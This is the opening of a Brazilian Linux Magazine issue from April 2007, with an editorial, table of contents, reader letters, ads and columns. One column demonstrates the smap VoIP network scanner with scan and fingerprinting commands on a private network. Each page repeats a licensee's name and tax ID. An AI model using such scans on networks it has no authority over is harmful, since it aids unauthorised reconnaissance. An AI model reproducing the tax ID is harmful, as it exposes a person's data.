29 - bloqueando_intrusos_abr_2007

Page 1

04/2007

IBM INSITES p.29 Big Blue premia projetos em Linux

TUX NO BB p.26 Relato da maior migração para Linux no planeta

CEZAR TAURION p.32 Usando Código Aberto e ganhando dinheiro com isso

Compiladores Intel C++ e Fortran Aumenta o desempenho sem mudar o ambiente de desenvolvimento Analisadores de Desempenho Intel VTune™ Identifica de forma bastante rápida gargalos de desempenho nos aplicativos Intel Integrated Performance Primitives Acesse bibliotecas de rotinas multimídia otimizadas para múltiplas plataformas

Tech Digital (11) 5181-1852 www.techdigital.com.br/intel

UPSTART

Strattus (11) 3531-6550 www.strattus.com.br/intel

RHEL5

© 2006 Intel Corporation, Intel, the Intel logo, Pentium, Itanium, Intel Xeon and VTune are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. *Other names and brands maybe claimed as the property of others.

BLOQUEANDO INTRUSOS p.33

TODA SEGURANÇA É POUCA. DETECTE INVASÕES ANTES QUE CAUSEM GRANDES ESTRAGOS

» Aprenda a construir backdoors para defender-se delas p.34 » Buscando intrusos com o Lsof p.39 » O Argus detecta invasões pelo tráfego de rede p.43 » Teste de penetração no Live CD BackTrack p.47

RED HAT ENTERPRISE LINUX 5 p.50 Virtualização embutida, segurança aumentada com SELinux e muitas novidades

SERVIÇOS EM UM PULO p.69 O Upstart traz importantes inovações ao ultrapassado Sys V Init

ZONEMINDER

MStech (11) 5080-3838 www.mstech.com.br/intel

BANCO DO BRASIL

Katalogo 0800 7729897 www.katalogo.com.br/intel

BACKTRACK

Itautec 0800 121444 www.itautec.com.br/intel

ARGUS

Dana Batalli Diretora de Desenvolvimento do RenderMan Pixar

LSOF

“As ferramentas de threading da Intel tem acelerado nosso ciclo de desenvolvimento imensamente”.

BACKDOOR

Intel Math Kernel Library Aumenta o desempenho de aplicativos através do uso de rotinas otimizadas como BLAS, FFT, LAPACK, incluindo suporte a MPI

A REVISTA DO PROFISSIONAL DE TI

BLOQUEANDO INTRUSOS

Intel® Threading Analysis Tools Localiza os problemas de threadings latentes com visualização em tempo real.

9 771806 942009

Abril 2007

# 29

Faça certo na primeira vez:

R$ 13,90 € 7,50

00029

Linux Magazine

Transforme o poder do MultiCore em aplicativos de alto-desempenho. Tenha seus aplicativos preparados para o processamento paralelo e escalável.

# 29

#29 04/07

VEJA TAMBÉM NESTA EDIÇÃO: » Controle suas câmeras pela web com o ZoneMinder p.65 » Bluetooth e D-Bus: apresentamos o BlueZ p.75 » Mandriva Flash e a mobilidade do desktop p.53 » Curso LPI, aula 4: Shell avançada, administração e mais p.55 WWW.LINUXMAGAZINE.COM.BR

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


EDITORIAL

Relevância no desktop Prezados leitores da Linux Magazine, o estabelecimento do Linux no campo dos servidores é claro e notório. O sistema do pingüim está maciçamente presente nas empresas listadas na Fortune 500, além de diversas outras, de todos os segmentos e em praticamente todos os ramos de atividade. A eficiência do Linux, ou, de uma maneira mais geral, da tecnologia de Código Aberto, também já é reconhecida, como atesta outra lista de quinhentos itens, a Top 500. Nela, o Linux figura em 75% das super-máquinas, incluindo a primeira colocada. Da mesma forma, fabricantes de sistemas embarcados também têm adotado crescentemente o Linux como base. Por que, então, não vemos o Software Livre presente em uma maior parcela dos desktops, tanto corporativos quanto pessoais? Uma recente notícia parece apontar um motivo importante para o estabelecimento e a reversão desse quadro. Os inúmeros pedidos de Linux pré-instalado nos computadores da Dell soaram como música para os ouvidos de qualquer um que desejasse ver aumentada a presença do Software Livre no ambiente da computação pessoal. Ao mesmo tempo, mostrou, finalmente, o engano dos incontáveis fabricantes de hardware e software que insistem no discurso de que “não há mercado para esses produtos no Linux”. Na entrevista concedida por um executivo da Microsoft à Linux Magazine, publicada na edição 27, o entrevistado afirmou que, caso houvesse um mercado significativo para seu Office no Linux, a empresa de Redmond certamente exploraria essa possibilidade. Seria interessante imaginar, então, quantos desses milhares de computadores Dell movidos a Linux jamais utilizariam aplicativos de escritório. Os dois principais fabricantes de GPUs talvez também pudessem se permitir um olhar mais atento ao mercado que vêm ignorando parcialmente. É verdade que há drivers para suas placas de vídeo que funcionam com Linux, mas esse mercado até agora “tão pouco expressivo”, como já ouvi pessoalmente de executivos de ambas, talvez deseje drivers que funcionem perfeitamente, não apenas satisfatoriamente. O maior fabricante de placas de vídeo integradas, por exemplo, já percebeu a relevância do Software Livre, e tem publicado cada vez mais especificações de drivers com o objetivo de adequá-los ao Linux. O resultado já é perfeitamente visível no ótimo suporte oferecido à aceleração 3D com esses chips - justamente o que todos procuramos. É surpreendente observar como temos tido êxito no suporte a hardwares diversos, mesmo sem o apoio da maioria dos fabricantes. Por exemplo, fiquei absolutamente surpreso ao usar com sucesso as teclas de funções especiais de um laptop novíssimo, sem qualquer configuração prévia. Os volumosos pedidos à Dell para que comercializem computadores pessoais equipados com Linux representam uma importante atitude. Em conseqüência disso, podemos esperar uma maior atenção por parte dos fabricantes concorrentes. Caso ela não venha, façamos nossas vaias chegarem até seus ouvidos. Afinal, quem tem boca vai a Roma.

Expediente editorial Diretor Geral Rafael Peregrino da Silva peregrino@linuxmagazine.com.br Editor Chefe Tadeu Carmona tcarmona@linuxmagazine.com.br Editor Pablo Hess phess@linuxmagazine.com.br Revisão Arali Lobo Gomes agomes@linuxmagazine.com.br Assistente de Arte Renan Herrera rherrera@linuxmagazine.com.br Centros de Competência Centro de Competência em Software: Oliver Frommel: ofrommel@linuxnewmedia.de Kristian Kißling: kkissling@linuxnewmedia.de Peter Kreussel: pkreussel@linuxnewmedia.de Marcel Hilzinger: hilzinger@linuxnewmedia.de Andrea Müller: amueller@linuxnewmedia.de Centro de Competência em Redes e Segurança: Achim Leitner: aleitner@linuxnewmedia.de Jens-Christoph B.: jbrendel@linuxnewmedia.de Hans-Georg Eßer: hgesser@linuxnewmedia.de Thomas L.: tleichtenstern@linuxnewmedia.de Max Werner: mwerner@linuxnewmedia.de Correspondentes & Colaboradores Amir Alsbih, Augusto Campos, Cezar Taurion, Charly Kühnast, Claudio Takahasi, Dirk von Suchodoletz, Eduardo Rocha, Gaspar Clemens Mierau, Klaus Knopper, Luciano Siqueira, Márcio Bardado Júnior, Nico Dietrich, Ralf Spenneberg, Tiago Tognozi, Ulisses Furquim, Zack Brown. Anúncios: Rafael Peregrino da Silva (Brasil) anuncios@linuxmagazine.com.br Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410 Osmund Schmidt (Alemanha, Áustria e Suíça) anzeigen@linux-magazine.com Brian Osborn (Outros países) ads@linux-magazine.com Assinaturas: www.linuxnewmedia.com.br assinaturas@linuxmagazine.com.br Na Internet: www.linuxmagazine.com.br – Brasil www.linux-magazin.de – Alemanha www.linux-magazine.com – Portal Mundial www.linuxmagazine.com.au – Austrália www.linux-magazine.ca – Canadá www.linux-magazine.es – Espanha www.linux-magazine.pl – Polônia www.linux-magazine.co.uk – Reino Unido www.linux-magazin.ro – Romênia Apesar de todos os cuidados possíveis terem sido tomados durante a produção desta revista, a editora não é responsável por eventuais imprecisões nela contidas ou por conseqüências que advenham de seu uso. A utilização de qualquer material da revista ocorre por conta e risco do leitor. Nenhum material pode ser reproduzido em qualquer meio, em parte ou no todo, sem permissão expressa da editora. Assume-se que qualquer correspondência recebida, tal como cartas, emails, faxes, fotografias, artigos e desenhos, são fornecidos para publicação ou licenciamento a terceiros de forma mundial não exclusiva pela Linux New Media do Brasil, a menos que explicitamente indicado. Linux é uma marca registrada de Linus Torvalds. Linux Magazine é publicada mensalmente por: Linux New Media do Brasil Editora Ltda. Av. Fagundes Filho, 134 Conj. 53 – Saúde 04304-000 – São Paulo – SP – Brasil Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410 Direitos Autorais e Marcas Registradas © 2004 - 2007: Linux New Media do Brasil Editora Ltda. Distribuição: Distmag Impressão e Acabamento: Parma ISSN 1806-9428 Impresso no Brasil

Pablo Hess Editor

4

INSTITUTO VERIFICADOR DE CIRCULAÇÃO

em processo de filiação

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).

http://www.linuxmagazine.com.br


������������������� ���������������������

��������������������������������������������������������������������������������� ��������������������������������������������������������������������������������� ����������������������������������������������������������� ��������������������������������������������������������

��������������������������� ����������������������������������������� �������������������������������� © Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


ÍNDICE

CAPA Gato e rato

33

Se você pensa que seus sistemas são obscuros demais para os agressores virtuais, pense reconsidere. Os intrusos de hoje buscam qualquer vítima. Passagem secreta

34

As backdoors oferecem aos invasores acesso irrestrito a um sistema zumbi. Para impedir que esse tipo de ameaça se instale, leia esta análise das ferramentas usadas pelos criminosos. Checagem rápida

39

Busque e exponha invasores com a versátil ferramenta de administração lsof. De olho no tráfego

43

O Argus auxilia o monitoramento do fluxo de dados na rede, detecta tendências, descobre worms e vírus e analisa o uso da banda. Operação: invasão

47

A distribuição Live BackTrack permite que se aja como um invasor para testar a segurança de sua rede.

6

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Linux Magazine 29 | ÍNDICE

Tutorial

COLUNAS Augusto Campos Charly Kühnast Klaus Knopper Zack Brown

12 14 16 18

NOTÍCIAS Segurança ➧ Samba

LPI nível 1: Aula 4 55 A aula desta edição aborda as tarefas de impressão, consultas à documentação local, uso avançado da shell, e tarefas administrativas. Veremos ainda como ajustar o horário do sistema, organizar backups, agendar tarefas de sistema e administrar usuários e grupos.

20

➧ Fetchmail ➧ krb5 ➧ X.org ➧ Squid ➧ gtk2

SYSADMIN

➧ Bind ➧ Xine ➧ BrOffice.org Geral ➧ Dell com Linux?

22

Sorria para a Web Se sua rede está segura, é hora de proteger o prédio onde se encontram as máquinas. Gerencie um circuito interno de TV a partir da Web.

65

Inicialização em um pulo O lento processo de inicialização do Linux vem incomodando os usuários há alguns anos. Agora, o projeto Upstart oferece uma nova abordagem para essa questão.

69

➧ Microcâmera com Linux ➧ Eric Raymond abandona Fedora ➧ ISO acelera avaliação do OpenXML ➧ Escrita em NTFS ➧ OSSEC HIDS eleito número um ➧ Mudanças no sistema de TI ➧ Nova versão do Gnome ➧ Mais um programa aberto pelo Google

CORPORATE Notícias ➧ Red Hat critica Novell no lançamento do RHEL 5

24

➧ Sun se junta à Free Software Foundation ➧ IBM favorece Linux e Apple

PROGRAMAÇÃO

➧ Linux no parlamento francês

Programe sem fio Com o intuito de facilitar o desenvolvimento de aplicações, o BlueZ agora suporta o serviço D-Bus, e expõe interfaces simplificadas que abstraem muitos detalhes e restrições da tecnologia para os desenvolvedores de aplicações.

➧ Acordo atrapalha conclusão da GPLv3 ➧ Curso de migração RH-Novell ➧ Windows virtualizado no Linux – sem modificações

75

➧ Oracle adquire Hyperion ➧ Mais um smartphone com Linux Entrevista: Banco do Brasil Reportagem: IBM Insites Coluna: Cezar Taurion

26 29 32

ANÁLISE

SERVIÇOS

O novo Red Hat Enterprise Entre novidades, acusações e brigas, o Red Hat Enterprise aterrissa com sua versão 5.

50

Pen drive mágico Mandriva lança solução de pen drive com distribuição Linux gráfica embutida.

53

Editorial Emails Linux.local Eventos Índice de anunciantes Preview

04 08 78 80 80 82

7

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Emails para o editor

✎ Ainda o código legado

Na seção “Permissão de Escrita” da edição 28, há uma carta de Cláudio Spinelli sobre o uso dos compiladores Harbour e xHarbour como alternativas ao Flagship, indicado para resolver o problema descrito por Rogério Carneiro sobre o problema de software desenvolvido em Joiner, na edição 26. Além do Harbour e xHarbour, existe também o compilador Xbase russo, de Código Aberto, denominado Clip. O site oficial é http://www.itk.ru/english/index.shtml e dispõe de uma versão em inglês. Em uma rápida comparação com o Harbour/xHarbour, posso afirmar que o Clip: ➧ É melhor documentado; ➧ Tem todos os recursos importantes que eles possuem e muitos outros adicionais; ➧ É mais rápido na criação de índices e gravações em arquivos com ou sem índices abertos; ➧ É mais rápido nas consultas; ➧ Possui código-fonte mais organizado e estruturado; ➧ Trabalha muito melhor com CGI; ➧ Tem menos falhas; ➧ Possui releases bem atuais; ➧ É mais compatível com o Clipper, e, por conseqüência, menos traumático. Afirmo isso com a experiência de quem migra sistemas do Clipper desde 1998. Conheço muito bem o FlagShip, Harbour/xHarbour e o Clip. Utilizo-os amplamente, e já precisei

u c.h ww . sx –w ro ne g je nja

Se você tem dúvidas sobre o mundo Linux, críticas ou sugestões que possam ajudar a melhorar a nossa revista, escreva para o seguinte endereço: cartas@linuxmagazine.com.br. Devido ao volume de correspondência, é impossível responder a todas as dúvidas sobre aplicativos, configurações e problemas de hardware que chegam à Redação, mas garantimos que elas são lidas e analisadas. As mais interessantes são publicadas nesta seção.

sa

EMAILS

Permissão de Escrita

implementar novas funcionalidades nesses dois últimos. Na minha opnião, quem precisa migrar uma aplicação escrita para Clipper será mais feliz se utilizar o Clip. Por esse motivo é que insisto em escrever para a *Linux Magazine* abordando novamente esse assunto. Vale lembrar também que o Linux possui alguns módulos que permitem a execução de arquivos binários de outras variantes do Unix. Se o sistema tiver sido compilado com Joiner sob alguma versão de Unix, pode ser possível executálo diretamente, sem modificação. Um grande abraço! Edison Júnior Prezado Edison, muito obrigado por sua contribuição. Ao visitarmos a página do programa, encontramos extensa documentação sobre diversas de suas funções, organizadas pelo nome ou pela função desempenhada, além de guias bastante eficientes, orientando o trabalho com servidores SQL, sockets, e também informando sobre as opções de localização do compilador e como executá-lo em ambiente Windows® sobre o Cygwin. Fica a dica aos leitores, em especial a Rogério Carneiro e Cláudio Spinelli, de experimentarem esse excelente software. ■

✎ Memória

Já uso Linux há diversos anos, e estou adorando a enorme quantidade de programas livres de alta qualidade que existem por aí. Já usei várias distribuições. Há três semanas, eu

8

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


EMAILS | cartas@linuxmagazine.com.br

Figura 1 O top mostra a lista de processos em execução no sistema, acompanhadas de algumas estatísticas importantes.

estava rodando o Debian Etch no laptop e o Suse 10.1 em casa. Li alguns artigos sobre o Mono e decidi fazer uns testes. Por isso, escolhi abandonar o Debian e adotar o Suse 10.2, porque o Suse tem uma ligação com os desenvolvedores do Mono. A instalação transcorreu sem nenhum problema, mas eu percebi que o computador agora está bem mais lento, e acessa o disco freqüentemente, mesmo que nenhum programa esteja rodando. Imaginei que o uso da swap estivesse causando esse problema, e rodei o comando free, que me informou que todos os meus 256 MB de memória estavam sendo usados, além de um pouco de swap. Fui conferir minha máquina de casa, e vi que a situação nela está ainda pior. Além dos 512 MB de memória, 770 MB do 1 GB de espaço swap configurado estavam

Figura 2

O htop funciona de forma semelhante ao top, porém, tem interatividade melhorada, e opções de configuração mais flexíveis, além de uma melhor usabilidade.

em uso! Assim como no primeiro caso, nenhum programa especial estava rodando na máquina. Meu único uso dessa máquina é como servidor IMAP e SSH quando estou fora. Também tenho um laptop bem antigo, Pentium II com 142 MB de memória, rodando o Damn Small Linux. Ele só usa 22,5 MB de memória, e nenhuma swap. Então, estou desconfiado de que ou o Suse ou o KDE é um esfomeado por memória, e está tornando minha máquina muito mais lenta do que ela deveria estar. Existe alguma maneira de descobrir quanta memória está sendo usada por cada processo? Manoel Herrera Na verdade, 256 MB de memória deveriam ser suficientes para um sistema Suse 10.2. Geralmente, sua lista de requisitos mínimos de hardware inclui 256 MB, sendo 512 MB o valor recomendado. Na região entre a memória mínima e a recomendada, é provável que seu sistema rode com um tanto de lentidão. Você tem razão ao supor que um ambiente desktop completo, como o KDE, é ávido por memória. Já em seu sistema doméstico, o problema pode ter outra causa. Recomenda-se conferir as fontes de documentação do Suse 10.2, na página da distribuição. O Linux oferece várias ferramentas para qualquer tarefa. O comando top (figura 1) mostra uma listagem resumida das estatísticas dos processos que estão em execução no sistema. Uma alternativa visualmente mais atraente ao top é o htop (figura 2), que ajuda um pouco mais na interpretação das estatísticas, pois inclui cores e gráficos de uso dos recursos, como processador, memória e espaço de swap. No entanto, é provável que você não tenha esse pacote instalado em seu sistema, pois o htop não vem por padrão na maioria das distribuições. Felizmente, ele costuma figurar entre os pacotes adicionais, sendo instalável pelo YaST. Para mais informações sobre as opções de linha de comando de ambos os programas, consulte suas páginas de manual, com os comandos man top e man htop. ■

✎ Unbreakable quebrado

Em minha curta experiência de usuário Linux (dois anos), aprendi a valorizar a qualidade do software. Não tenho a menor dúvida de que o restante da comunidade do Software Livre compartilha minha admiração pelas coisas feitas da forma correta e pelos motivos certos. Pode até haver dúvidas quanto aos critérios para cada qualificação dessas, mas estou certo de que há bastante consenso em relação ao significado negativo adquirido pelo termo “unbreakable” (inquebrável), quando este se torna um mero termo de marketing. A qualidade do produto lançado pela Oracle não foi, até onde eu pude conferir, melhorada. Com toda a probabilidade, as únicas entidades do mundo Linux que sofrerão com as empreitadas da Oracle, Novell e Microsoft são as próprias participantes. Cris Almeida Obrigado, Cris, por seus comentários. Precisamos esperar para conferir se os movimentos recentes da Oracle, Novell e Microsoft, que já publicamos na seção de notícias ao longo dos últimos meses, tanto na revista impressa quanto em nosso site http://www.linuxmagazine.com.br, terão conseqüências benéficas, maléficas ou neutras em meio a disputa pelo mercado entre os estrategistas corporativos. ■

10

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


SEJA LIBRIX NA RUA, SEJA LIBRIX EM CASA, SEJA LIBRIX NO TRABALHO. Agora, além do Librix (Linux da Itautec), a sua empresa pode contar com o melhor e mais estável pacote de hardware e software do mercado, testado e homologado pela Itautec.

DPZ

Toda a liberdade que você precisa para trabalhar com mais mobilidade, usando a internet sem fio, e ainda operar com software livre. É mais segurança, porque a Itautec oferece suporte técnico especializado via internet ou pelo telefone, serviços de tuning e configuração e ainda atendimento nacional on site. Tem alta tecnologia para os aplicativos como editor de textos, planilha eletrônica, editor de imagens e apresentações. É mais facilidade e maior flexibilidade no seu dia-a-dia. Na hora de trabalhar, não se sinta preso. Seja Librix.

(gravador de CD e leitor de DVD)

Foto ilustrativa.

• Librix • Monitor LCD de 15” • Combo (gravador de CD e leitor de DVD)

Itautec Minitorre

Itautec InfoWay Note W7630

IDEAL PARA ACESSO À INTERNET E COMUNICAÇÃO.

IDEAL PARA QUEM PRECISA DE MOBILIDADE, MAS NÃO ABRE MÃO DE ECONOMIA.

Código da oferta: IN-554

Código da oferta: IN-553

• Processador Intel® Celeron® D 325 (256 KB L2 cache, 2.53 GHz, 533 MHz) • Sistema Operacional Librix - Distribuição Linux Itautec • 256 MB de memória • HD de 40 GB • Combo (gravador de CD e leitor de DVD) • Monitor LCD de 15” • Floppy • Mouse • Microfone e caixas acústicas • Fax/Modem 56 Kbps • 1 ano de garantia balcão*

10x R$ 139,90 sem juros ou R$ 1.399,00 à vista

• Processador Intel® Celeron® M 380 (1 MB L2 cache, 1.60 GHz, 400 MHz) • Sistema Operacional Librix - Distribuição Linux Itautec • 512 MB de memória • Tela widescreen de 15,4” • Placa de rede wireless • HD de 40 GB • Combo (gravador de CD e leitor de DVD) • Placa de vídeo integrada • Maleta inclusa • 1 ano de garantia balcão*

10x R$ 199,90 sem juros ou R$ 1.999,00 à vista

www.itautecshop.com.br CO M P R E D I R E TA M E N T E D O FA B R I C A N T E

PRESENTE EM MAIS DE 2.700 CIDADES.

Foto ilustrativa.

• Librix • Tela widescreen de 15,4” • Combo

0800 121 444 De 2ª a 6ª, das 8h às 20h. Sábado, das 9h às 18h.

Ofertas válidas até 30/4/2007 ou enquanto durarem os estoques.Celeron, Celeron Inside, Centrino, o logotipo Centrino, Core Inside, Intel, o logotipo Intel, Intel Core, Intel Inside, o logotipo Intel Inside, Intel Viiv, Intel vPro, Itanium, Itanium Inside, Pentium, Pentium Inside, Xeon e Xeon Inside são marcas comerciais ou marcas registradas da Intel Corporation ou de suas subsidiárias nos Estados Unidos ou em outros países.Consulte nossa Central de Atendimento para informações sobre outras condições de financiamento para pessoa física ou jurídica pelo telefone 0800-121-444.*Garantia balcão de um ano para partes, peças e serviços.Para possibilitar o acesso à internet são necessários uma linha telefônica ou banda larga e um provedor à sua escolha.A velocidade de comunicação de 56 Kbps depende e pode variar de acordo com o tipo e a qualidade da linha telefônica utilizada.Preços com impostos inclusos para São Paulo.Frete não incluso.Demais características técnicas e de comercialização estão disponíveis em nosso site e no Televendas.Fica ressalvada eventual retificação das ofertas aqui veiculadas.Quantidade:10 unidades de cada.Empresa/produto beneficiado pela Lei de Informática.Fotos meramente ilustrativas.

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Alvos móveis na sua rede

COLUNA

Augusto Campos Como lidar com o “outro lado” dos pen drives e outras mídias removíveis.

O

Mandriva Flash, cuja análise você pode ler nesta edição da Linux Magazine, é um exemplar bastante avançado de uma nova classe de dispositivos: as unidades de armazenamento removíveis, capazes de transportar dados, executáveis, ambiente operacional e até mesmo o próprio sistema operacional completo, como no caso do Mandriva Flash, com o usuário – onde quer que ele vá. Quanto à aplicabilidade desse tipo de solução, você mesmo poderá concluir após a leitura da análise. Eu tive oportunidade de testar o mesmo produto recentemente e achei a idéia genial enquanto usuário – embora ainda haja alguns pontos em que pode haver considerável avanço.

... a melhor forma de lidar com ameaças causadas por ferramentas legítimas de trabalho é a sua inclusão na política de segurança e a criação dos respectivos procedimentos. Mas se você estiver na posição de administrador de rede ou de sistemas, terá que encarar esse tipo de tecnologia de uma outra maneira: como um potencial vetor para uma série de ameaças à segurança de sua rede corporativa. Toda unidade removível pode transportar vírus para uma rede corporativa, por exemplo. As unidades nas quais é possível gravar dados podem servir também como meio de saída de arquivos cujo transporte deveria ser controlado – documentos, projetos e tantos outros materiais cuja guarda é confiada aos departamentos de informática em todo o mundo. É irreal querer impedir o acesso de mídias removíveis na maioria das organizações. Pen drives, HDs removíveis, cartões de memória de PDAs, de telefones, de câmeras digitais, CDs regraváveis e outros são ferramentas de produtividade dos usuários, e só as organizações com

níveis de segurança elevadíssimos conseguem estabelecer (e colocar em prática) esse tipo de restrição de forma efetiva. Mas não é por isso que você deve deixar de lidar com eles. E a melhor forma de lidar com ameaças causadas por ferramentas legítimas de trabalho é a sua inclusão na política de segurança e a criação dos respectivos procedimentos. Ao considerar a questão dos pen drives e cartões de memória, leve em conta os diversos aspectos, óbvios, que a preocupação com vírus e cavalos de tróia já tornou arraigados em praticamente todos os CPDs: é permitido instalar e executar sistemas ou programas trazidos de fora da organização? É permitido transportar consigo arquivos da organização? Que procedimentos devem ser adotados? Anti-vírus? Criptografia? Registro especial? Se for adotar pen drives como forma oficial de transporte de dados sensíveis, padronize o uso de ferramentas de criptografia. Se estiver ao seu alcance, considere a possibilidade de adotar pen drives com recursos próprios de proteção de dados, incluindo criptografia simples e controle de acesso biométrico. Além disso, leve em conta a questão da educação dos usuários, que precisam ser capazes de perceber o potencial de dano que um pen drive ou um CD regravável podem causar. E complemente essas medidas com as necessárias políticas (e práticas!) de controle e auditoria – essa é uma área em que não se pode simplesmente contar com a cooperação dos usuários, já que basta um único caso de não-conformidade para causar danos irreversíveis, especialmente no caso de vazamento de dados. Toda tecnologia pode ser encarada de mais de uma maneira, e o fato de as mídias removíveis serem fatores de risco não reduz sua importância no ambiente corporativo. Mas encarar de frente os problemas potenciais é importante, e pode fazer toda a diferença na hora em que eles deixarem de ser potenciais. ;-) ■

O autor Augusto César Campos é administrador de TI e, desde 1996, mantém o site BR-linux.org, que cobre a cena do Software Livre no Brasil e no mundo.

12

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Gabarito

Plano Standard

R$

25,

Plano SQL

R$

36,10

Transferência: 50GB • Espaço: 500MB

Transferência: 100GB • Espaço: 1GB

E-mail 1GB

A partir de

Plano Terabyte

Transferência: 1TB • Espaço: 3GB

Plano Ilimitado

Transferência: ilimitada • Espaço: 5GB

70

ILIMITADA É A VANTAGEM DE CONTAR COM A PLUG IN. Somente uma empresa como a PLUG IN, uma das líderes do mercado de webhosting no Brasil, pode oferecer aos profissionais de internet as melhores opções para hospedagem de sites com preços e franquias imbatíveis. Oferece ainda Data Centers de última geração e uma equipe 100% focada em atender as demandas do mercado digital.

0,

R$ 90 R$

135,00

R$

250,00

Internet para Profissionais de Internet Capitais e Regiões Metropolitanas: 4003 1001 Outras Regiões: 0800 881 1001

www.plugin.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Scanners para VoIP

COLUNA

Charly Kühnast Numa viagem a Berlim, Charly descobre que o nmap agora tem um primo que gosta de conversas telefônicas – o smap varre redes em busca de dispositivos VoIP.

O

Congresso da CCC tornou-se um dos meus eventos preferidos. Os principais motivos das minhas visitas ao congresso são as ótimas palestras e workshops. Porém, ele é uma espécie de encontro de comunidade, onde posso ver pessoas que não vejo o ano inteiro, apesar de freqüentemente trocarmos emails, nos comunicarmos pelo IRC e até conversarmos por telefone. Além disso, é interessante se misturar às pessoas semelhantes a você – ou seja, sysadmins – de tempos em tempos.

Além disso, é interessante se misturar às pessoas semelhantes a você – ou seja, sysadmins – de tempos em tempos. No último ano, encontrei Hendrik Scholz. Hendrik é um expert em qualquer coisa remotamente relacionada à Voz sobre IP, incluindo assuntos de segurança voltada a protocolos e implementações. Uma das novidades trazidas por ele foi o smap [1]. Esse programa é uma mistura do nmap com o sipsak [2]. Ele varre redes em busca de dispositivos VoIP e tenta identificá-los. Como sou um grande curioso, baixei o tarball de 30 KB assim que cheguei em casa. É possível usar tanto make quanto gmake na compilação.

Encontre o telefone!

É verdade que há apenas dois dispositivos VoIP em minha rede no momento, mas o smap os descobriu imediatamente:

Exemplo 1: ./smap -l 10.50.5.26 01 02 03 04 05 06 07 08 09 10 11

[...] FINGERPRINT information: newmethod=NR allow_class=ignore supported_class=ignore hoe_class=16 options=400 brokenfromto=NR prack=NR ping=NR invite=400

./smap 10.50.5.0/24 Host 10.50.5.25:5060: (ICMP OK) SIP enabled Host 10.50.5.36:5060: (ICMP OK) SIP enabled

Ótimo, mas agora quero saber os nomes dos dispositivos. Para encontrá-los, ativei a opção de identificação (fingerprinting), que possui dois níveis de verbosidade: -o e -O. Selecionei o último para gerar a figura 1. O modo de aprendizado (learning), ativado através da opção -l, permite que se receba todos os resultados dos testes de identificação individuais executados pelo smap no exemplo 1. Caso sejam necessários maiores detalhes, é possível utilizar o modo de depuração com o parâmetro -d, que fornece os detalhes dos testes de identificação juntamente com os resultados normais. Como a versão 0.4.1 sugere, o smap ainda está em desenvolvimento, e às vezes dá alguns sinais de instabilidade. Em especial, o número de assinaturas de dispositivos ainda é bem pequeno, mas esse problema é mínimo, e tenho certeza de que os desenvolvedores o resolverão num futuro próximo. Quando ele for solucionado, o smap certamente ganhará um espaço na minha caixa de ferramentas. ■

Mais Informações [1] Smap: http://www.wormulon.net/files/pub [2] Sipsak: http://sipsak.org

O autor Figura 1 O varredor smap com opção de verbosidade -O descobre os nomes dos dispositivos VoIP.

Charly Kühnast é administrador de sistemas Unix no datacenter Moers, perto do famoso rio Reno, na Alemanha. Lá ele cuida, principalmente, dos firewalls.

14

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Pergunte ao Klaus!

COLUNA

Klaus Knopper Esta coluna é baseada na seção “Ask Klaus!”, publicada na Linux Magazine International.

Estraguei tudo

Não sei o que está errado. Meu computador recentemente deu a mensagem “operating system error” quando o liguei. Agora a mensagem diz “searching for a boot record”, e essa busca nunca termina. Agora minha unidade de CD/ DVD está faltando. Resposta: Pode ser um erro do hardware, irreparável por software. Se um problema de BIOS for possível, tente especificar todas as opções da BIOS para a variante segura (safe settings). Porém, saiba que às vezes essa não é a variante segura, quando na verdade a variante normal é a segura. Além disso, grandes falhas podem acontecer por conta de alterações nas configurações de hardware, mesmo que a BIOS apenas pense que algo foi mudado, e então ela modifica as configurações do chipset, números de IRQ e endereços de E/S por si só. Já vi isso acontecer. O hardware é cruel.

Não acredito em sprays limpadores de contato, pois eles podem facilmente fechar um curtocircuito em conectores modernos, desintegrar isolantes e – na pior das hipóteses – estragar a placa. Já vi computadores sofrerem travamentos profundos sem nem tentar inicializar um sistema utilizável, e voltarem a funcionar simplesmente se alterando a seqüência de placas de rede ou retirando uma placa de som instalada lado-a-lado com a placa onboard. Outro fato importante é o envelhecimento dos conectores. Apesar do que os fabricantes de hardware tentam convencer os consumidores, existe a oxidação de contatos e mudanças na geometria física que fazem cabos perderem seus contatos. Então, se você tiver certeza de que todos os conectores de discos rígidos e unidades de CD/DVD estão cuidadosamente fixados em seus encaixes, e nenhum soquete plástico está solto ou aparentemente quebrado, então existe uma boa probabilidade de que seu computador

